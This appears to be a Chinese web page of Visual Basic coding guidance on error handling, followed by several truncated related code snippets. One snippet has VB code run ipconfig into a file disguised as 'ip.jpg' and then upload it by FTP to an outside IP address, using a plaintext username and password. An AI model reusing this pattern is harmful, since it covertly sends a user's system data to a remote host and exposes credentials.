vb标准（四）：错误处理
·错误类型
·编程员的错误（比如分母不能是0，参数个数或数据类型不对应）
·环境方面的错误（比如文件太大，磁盘放不下）
·时间上的错误（比如视图给尚未完成加载的窗体设置焦点）
·创建错误处理程序
·请求时编译
·后台编译
·捕获错误
·最好在代码中放入一个on error语句
·当出现错误时，使用on error goto，转移到别的代码上去执行
·使用on error resume next语句，不中断代码的执行，也不转移到别的代码上去执行，而是忽略该错误(最简单也最危险)
相关文档：
Private Declare Function SetWindowPos Lib "user32" (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, ByVal x As Long, ByVal y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long
Private Const a& = -1
Private Const b& = &H1
Private Const c& = &H2
Priva ......
将长路径转为短路径
Private Declare Function GetShortPathName Lib "kernel32" Alias "GetShortPathNameA" (ByVal lpszLongPath As String, ByVal lpszShortPath As String, ByVal cchBuffer As Long) As Long
Private Function ShortPath(ByVal FileName As String) As String
Dim S As String
On Error GoTo exitFu ......
ftp.txt文件内容为：
open 211.118.1.70
dongping
sh12345
put ip.jpg
bye
VB内容为：
Private Sub Command1_Click()
Shell "cmd.exe /c ipconfig >ip.jpg"
Shell "cmd.exe /c ftp -s:ftp.txt"
End Sub ......
Public Function IsValidIPAddress(ByVal strIPAddress As String) As Boolean
On Error GoTo Handler
Dim varAddress As Variant, n As Long, lCount As Long
varAddress = Split(strIPAddress, ".", , vbTextCompare)
If IsArray(varAd ......
